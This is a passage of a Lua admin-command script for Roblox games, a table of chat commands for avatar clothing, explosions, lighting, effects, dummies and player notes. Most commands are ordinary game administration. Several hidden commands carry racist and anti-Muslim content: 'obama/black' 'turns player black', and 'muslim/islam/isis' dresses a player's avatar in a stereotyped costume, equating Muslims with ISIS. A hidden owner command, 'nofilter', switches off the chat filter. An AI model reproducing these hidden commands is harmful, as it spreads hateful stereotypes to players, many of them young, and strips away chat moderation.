 			Query = Arguments[2]
 		end
 		MARKET:ShowSearch(Speaker, 11, Query, function(ID)
 			if Speaker.Character then
 				CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
 			end
 		end, MARKET:AccessoryToSubcategory(Type))
 	end, Http = true};
 
 	[{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
 		MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
 			if Speaker.Character then
 				CORE:GivePackage(Speaker, ID)
 			end
 		end, 11)
 	end, Http = false};
 
 	[{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:GivePackage(Player)
 		end
 	end};
 
 	[{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:GivePackage(Player, Arguments[2])
 		end
 	end, Http = false};
 
 	[{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local Stats = Player:FindFirstChild("leaderstats")
 			if Stats ~= nil then
 				for _,Stat in pairs(Stats:GetChildren()) do
 					if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
 						ypcall(function() Stat.Value = Arguments[3] end)
 					end
 				end
 			end
 		end
 	end};
 
 	[{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local ID = tonumber(Arguments[2])
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			for _,Player in pairs(Players) do
 				if Player.Character ~= nil then
 					local Obj = Player.Character:FindFirstChild("Shirt")
 					if Obj then
 						Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
 					else
 						Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
 					end
 					coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
 				end
 			end
 		end
 	end};
 
 	[{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local ID = tonumber(Arguments[2])
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			for _,Player in pairs(Players) do
 				if Player.Character ~= nil then
 					local Obj = Player.Character:FindFirstChild("Pants")
 					if Obj then
 						Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
 					else
 						Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
 					end
 					coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
 				end
 			end
 		end
 	end};
 
 	[{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local ID = tonumber(Arguments[2])
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			for _,Player in pairs(Players) do
 				if Player.Character ~= nil then
 					if Player.Character:FindFirstChild("Torso") then
 						local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
 						local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
 						if Obj1 then
 							Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
 						else
 							Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
 						end
 						if Obj2 then
 							Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
 						else
 							Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
 						end
 						coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
 						coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
 					end
 				end
 			end
 		end
 	end};
 
 	[{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
 		end
 	end};
 
 	[{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
 		if CORE:InAdminGroup(Speaker) then
 			local Players = STRING:Scan(Arguments[1], Speaker)
 			for _,Player in pairs(Players) do
 				if Player:FindFirstChild("Backpack") then
 					local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
 					local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
 					local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
 					local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
 					CORE:ExecuteResource("CookieTool", Tool)
 				end
 			end
 		end
 	end};
 
 	[{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
 		if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
 			CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
 		end
 	end};
 
 	[{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
 		if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
 			local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
 			Model:MakeJoints()
 			for i = 1,math.random(10,20) do
 				Model.Name = Model.Name..string.char(math.random(97,122))
 			end
 			if Model:GetChildren()[1] then
 				table.insert(Objects, Model)
 				CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
 			end
 		end
 	end};
 
 	[{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local ID = tonumber(Arguments[2])
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
 			end
 		end
 	end};
 
 	[{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
 				if StopAnim then StopAnim:Destroy() end
 			end
 		end
 	end};
 
 	[{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
 		if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
 			Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
 		end
 	end};
 
 	[{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
 		if tonumber(Arguments[1]) then
 			Server.Lighting.Brightness = tonumber(Arguments[1])
 		end
 	end};
 
 	[{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			GUI:CoreGui(Player, "PlayerList", true)
 		end
 	end};
 
 	[{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local Players = STRING:Scan(Arguments[1], Speaker)
 			GUI:CoreGui(Player, "PlayerList", false)
 		end
 	end};
 
 	[{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
 		GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
 	end, Hidden = true};
 
 	[{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:ChangeCharacter(Player, 1337, false, Speaker)
 		end
 	end, Hidden = true};
 
 	[{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
 				ypcall(function() Player.Character.Torso.roblox:Destroy() end)
 				Player:ClearCharacterAppearance()
 				CORE:Insert(12436480, Player.Character, true)
 				Player.Character.Head.face.Texture = "rbxassetid://110287880"
 				Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
 				Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
 			end
 		end
 	end, Hidden = true};
 
 	[{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:ChangeCharacter(Player, 0, false, Speaker)
 		end
 	end};
 
 	[{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		ShouldFilter = false
 	end, Hidden = true};
 
 	[{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local Bet = Arguments[1]
 		if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
 			GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
 		elseif #Bet > 5 then
 			GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
 		else
 			local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
 			if Answer == "Yes" then
 				local OldBet = Settings.Bet
 				CORE:ChangeBet(Bet)
 				GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
 			end
 		end
 	end};
 
 	[{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local Prefix = Arguments[1]
 		if #Prefix > 5 then
 			GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
 		else
 			local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
 			if Answer == "Yes" then
 				local OldPrefix = Settings.Prefix
 				Settings.Prefix = Prefix
 				GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
 			end
 		end
 	end};
 
 	[{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
 		GUI:CommandBar(Speaker)
 	end};
 
 	[{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		GUI:CommandBar(Speaker)
 		PermCommandBars[Speaker.Name] = true
 	end};
 
 	[{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		PermCommandBars[Speaker.Name] = nil
 	end};
 
 	[{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			PermCommandBars[Player.Name] = nil
 		end
 	end};
 
 	[{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
 		CORE:CreateFigure("Dummy", nil, true, Speaker)
 	end};
 
 	[{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
 		CORE:CreateFigure(Arguments[1], nil, true, Speaker)
 	end};
 
 	[{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:ClonePlayer(Player)
 		end
 	end};
 
 	[{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:ClonePlayer(Player, Arguments[2])
 		end
 	end};
 
 	[{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
 		for _,Obj in pairs(Objects) do
 			if Obj then Obj:Destroy() end
 		end
 		for Name,Jail in pairs(Jails) do
 			if not game.Players:FindFirstChild(Name) then
 				Jail:Destroy()
 				Jails[Name] = nil
 			end
 		end
 		Objects = {}
 	end};
 
 	[{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
 		for _,Obj in pairs(Server.Workspace:GetChildren()) do
 			if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
 				Obj:Destroy()
 			end
 		end
 	end};
 
 	[{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
 			end
 		end
 	end};
 
 	[{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
 			end
 		end
 	end};
 
 	[{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
 			end
 		end
 	end};
 
 	[{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				for _,Get in pairs(Player.Character.Torso:GetChildren()) do
 					if Get:IsA("Sparkles") then
 						Get:Destroy()
 					end
 				end
 			end
 		end
 	end};
 
 	[{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				for _,Get in pairs(Player.Character.Torso:GetChildren()) do
 					if Get:IsA("Fire") then
 						Get:Destroy()
 					end
 				end
 			end
 		end
 	end};
 
 	[{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				for _,Get in pairs(Player.Character.Torso:GetChildren()) do
 					if Get:IsA("Smoke") then
 						Get:Destroy()
 					end
 				end
 			end
 		end
 	end};
 
 	[{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
 				local Boom = Instance.new("Explosion", Workspace)
 				Boom.Position = Player.Character.Torso.Position
 			end
 		end
 	end};
 
 	[{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				coroutine.wrap(function() for i = 1,50 do
 					local Boom = Instance.new("Explosion", Workspace)
 					Boom.Position = Player.Character.Torso.Position
 					wait()
 				end end)()
 				coroutine.wrap(function() for i = 1,5 do
 					SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
 				end end)()
 			end
 		end
 	end};
 
 	[{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
 				Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
 				CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
 			end
 		end
 	end};
 
 	[{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
 			end
 		end
 	end};
 
 	[{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				Player.Character.Parent = Server.Lighting
 			end
 		end
 	end};
 
 	[{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				Player.Character.Parent = Server.Workspace
 				Player.Character:MakeJoints()
 			end
 		end
 	end};
 
 	[{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 				Player.Character.Humanoid.PlatformStand = true
 			end
 		end
 	end};
 
 	[{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 				Player.Character.Humanoid.PlatformStand = false
 			end
 		end
 	end};
 
 	[{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 				Player.Character.Humanoid.Jump = true
 			end
 		end
 	end};
 
 	[{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 				Player.Character.Humanoid.Sit = true
 			end
 		end
 	end};
 
 	[{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 				Player.Character.Humanoid.Sit = false
 			end
 		end
 	end};
 
 	[{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
 			end
 		end
 	end};
 
 	[{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
 			end
 		end
 	end};
 
 	[{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
 	end};
 
 	[{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Color = "Blue"
 		local String = Arguments[2]
 		local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
 		if #ChatSplit >= 2 then
 			if string.lower(ChatSplit[1]) == "green" then
 				Color = "Green"
 				String = ChatSplit[2]
 			elseif string.lower(ChatSplit[1]) == "red" then
 				Color = "Red"
 				String = ChatSplit[2]
 			end
 		end
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Head") then
 				game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
 			end
 		end
 	end};
 
 	[{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
 			end
 		end
 	end};
 
 	[{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local ID = nil
 		if tonumber(Arguments[2]) ~= nil then
 			ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
 		else
 			for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
 				for _,Face in pairs(FaceTable) do
 					if string.lower(Arguments[2]) == string.lower(Face) then
 						ID = FaceID
 						break
 					end
 				end
 			end
 		end
 		if ID then
 			for _,Player in pairs(Players) do
 				if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
 					Player.Character.Head.face.Texture = "rbxassetid://"..ID
 					pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
 				end
 			end
 		end
 	end};
 
 	[{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Head") then
 				local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
 				BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
 				local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
 			end
 		end
 	end};
 
 	[{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Head") then
 				local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
 			end
 		end
 	end};
 
 	[{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
 	end, Http = true};
 
 	[{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
 	end, Http = true};
 
 	[{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local ExistingData = Player:LoadInstance("Data")
 			if ExistingData == nil then
 				ExistingData = Instance.new("Configuration")
 			end
 			ExistingData.Name = "Player Data"
 			local Key = Instance.new("Configuration", ExistingData)
 			Key.Name = Arguments[2]
 			Player:SaveInstance("Data", ExistingData)
 		end
 	end};
 
 	[{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local Data = Arguments[2]
 		for _,Player in pairs(Players) do
 			local ExistingData = Player:LoadInstance("Data")
 			if ExistingData ~= nil then
 				if string.lower(Data) == "all" then
 					ExistingData:ClearAllChildren()
 				else
 					for _,DataObj in pairs(ExistingData:GetChildren()) do
 						if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
 							DataObj:Destroy()
 						end
 					end
 				end
 			end
